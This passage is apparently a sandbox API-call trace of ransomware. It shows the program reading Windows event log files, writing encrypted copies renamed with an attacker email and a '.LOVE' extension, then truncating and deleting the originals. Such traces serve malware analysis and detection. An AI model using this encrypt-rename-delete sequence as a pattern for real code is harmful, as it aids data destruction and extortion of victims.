(lpString=".dbf") returned 4 [0207.055] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.055] lstrlenW (lpString=".1cd") returned 4 [0207.055] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.055] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0207.055] lstrlenW (lpString=".jpg") returned 4 [0207.055] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.055] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.055] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Operational.evtx") returned 47 [0207.055] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.055] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.055] CloseHandle (hObject=0x33c) returned 1 [0207.055] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0207.055] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.055] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.056] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.056] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.056] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.056] GetLastError () returned 0x0 [0207.056] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.090] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.092] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.092] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x132, lpOverlapped=0x0) returned 1 [0207.092] SetEndOfFile (hFile=0x37c) returned 1 [0207.092] CloseHandle (hObject=0x37c) returned 1 [0207.094] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.094] SetEndOfFile (hFile=0x33c) returned 1 [0207.094] CloseHandle (hObject=0x33c) returned 1 [0207.094] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.095] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0207.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.095] lstrlenW (lpString=".doc") returned 4 [0207.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString=".docx") returned 5 [0207.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.095] lstrlenW (lpString=".pdf") returned 4 [0207.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString=".xls") returned 4 [0207.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString=".xlsx") returned 5 [0207.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.095] lstrlenW (lpString=".ppt") returned 4 [0207.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.095] lstrlenW (lpString=".zip") returned 4 [0207.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString=".rar") returned 4 [0207.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.095] lstrlenW (lpString=".bz2") returned 4 [0207.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".7z") returned 3 [0207.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".dbf") returned 4 [0207.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".1cd") returned 4 [0207.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".jpg") returned 4 [0207.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".doc") returned 4 [0207.096] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".docx") returned 5 [0207.096] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.096] lstrlenW (lpString=".pdf") returned 4 [0207.096] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".xls") returned 4 [0207.096] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".xlsx") returned 5 [0207.096] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.096] lstrlenW (lpString=".ppt") returned 4 [0207.096] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".zip") returned 4 [0207.096] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".rar") returned 4 [0207.096] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".bz2") returned 4 [0207.096] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.096] lstrlenW (lpString=".7z") returned 3 [0207.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.096] lstrlenW (lpString=".dbf") returned 4 [0207.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.097] lstrlenW (lpString=".1cd") returned 4 [0207.097] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.097] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55 [0207.097] lstrlenW (lpString=".jpg") returned 4 [0207.097] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.097] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.097] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47 [0207.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.097] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.097] CloseHandle (hObject=0x33c) returned 1 [0207.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0207.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.097] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.097] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.098] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.098] GetLastError () returned 0x0 [0207.098] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.168] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.173] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.173] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x132, lpOverlapped=0x0) returned 1 [0207.173] SetEndOfFile (hFile=0x37c) returned 1 [0207.173] CloseHandle (hObject=0x37c) returned 1 [0207.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.176] SetEndOfFile (hFile=0x33c) returned 1 [0207.177] CloseHandle (hObject=0x33c) returned 1 [0207.177] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.178] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0207.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.178] lstrlenW (lpString=".doc") returned 4 [0207.178] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString=".docx") returned 5 [0207.178] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.178] lstrlenW (lpString=".pdf") returned 4 [0207.178] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString=".xls") returned 4 [0207.178] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString=".xlsx") returned 5 [0207.178] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.178] lstrlenW (lpString=".ppt") returned 4 [0207.178] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.178] lstrlenW (lpString=".zip") returned 4 [0207.178] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString=".rar") returned 4 [0207.178] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.178] lstrlenW (lpString=".bz2") returned 4 [0207.178] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString=".7z") returned 3 [0207.179] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString=".dbf") returned 4 [0207.179] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString=".1cd") returned 4 [0207.179] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString=".jpg") returned 4 [0207.179] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString=".doc") returned 4 [0207.179] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString=".docx") returned 5 [0207.179] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.179] lstrlenW (lpString=".pdf") returned 4 [0207.179] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString=".xls") returned 4 [0207.179] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString=".xlsx") returned 5 [0207.179] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.179] lstrlenW (lpString=".ppt") returned 4 [0207.179] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.179] lstrlenW (lpString=".zip") returned 4 [0207.179] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.179] lstrlenW (lpString=".rar") returned 4 [0207.179] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.180] lstrlenW (lpString=".bz2") returned 4 [0207.180] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.180] lstrlenW (lpString=".7z") returned 3 [0207.180] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.180] lstrlenW (lpString=".dbf") returned 4 [0207.180] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.180] lstrlenW (lpString=".1cd") returned 4 [0207.180] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0207.180] lstrlenW (lpString=".jpg") returned 4 [0207.180] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.180] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.180] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0207.180] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.180] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.180] CloseHandle (hObject=0x33c) returned 1 [0207.181] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0207.181] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.181] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.181] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.181] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.181] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0207.181] GetLastError () returned 0x0 [0207.181] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.201] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.202] ReadFile (in: hFile=0x33c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.202] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x130, lpOverlapped=0x0) returned 1 [0207.202] SetEndOfFile (hFile=0x37c) returned 1 [0207.202] CloseHandle (hObject=0x37c) returned 1 [0207.204] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.204] SetEndOfFile (hFile=0x33c) returned 1 [0207.205] CloseHandle (hObject=0x33c) returned 1 [0207.205] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.205] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0207.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.205] lstrlenW (lpString=".doc") returned 4 [0207.205] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.205] lstrlenW (lpString=".docx") returned 5 [0207.206] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.206] lstrlenW (lpString=".pdf") returned 4 [0207.206] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString=".xls") returned 4 [0207.206] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString=".xlsx") returned 5 [0207.206] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.206] lstrlenW (lpString=".ppt") returned 4 [0207.206] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.206] lstrlenW (lpString=".zip") returned 4 [0207.206] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString=".rar") returned 4 [0207.206] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString=".bz2") returned 4 [0207.206] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString=".7z") returned 3 [0207.206] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.206] lstrlenW (lpString=".dbf") returned 4 [0207.206] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.206] lstrlenW (lpString=".1cd") returned 4 [0207.206] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.206] lstrlenW (lpString=".jpg") returned 4 [0207.206] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.207] lstrlenW (lpString=".doc") returned 4 [0207.207] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".docx") returned 5 [0207.207] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.207] lstrlenW (lpString=".pdf") returned 4 [0207.207] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".xls") returned 4 [0207.207] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".xlsx") returned 5 [0207.207] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.207] lstrlenW (lpString=".ppt") returned 4 [0207.207] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.207] lstrlenW (lpString=".zip") returned 4 [0207.207] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".rar") returned 4 [0207.207] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".bz2") returned 4 [0207.207] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString=".7z") returned 3 [0207.207] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.207] lstrlenW (lpString=".dbf") returned 4 [0207.207] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.207] lstrlenW (lpString=".1cd") returned 4 [0207.207] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0207.207] lstrlenW (lpString=".jpg") returned 4 [0207.207] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.208] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.208] lstrlenW (lpString="Microsoft-Windows-SMBClient%4Operational.evtx") returned 45 [0207.208] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.213] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.213] CloseHandle (hObject=0x33c) returned 1 [0207.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0207.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), 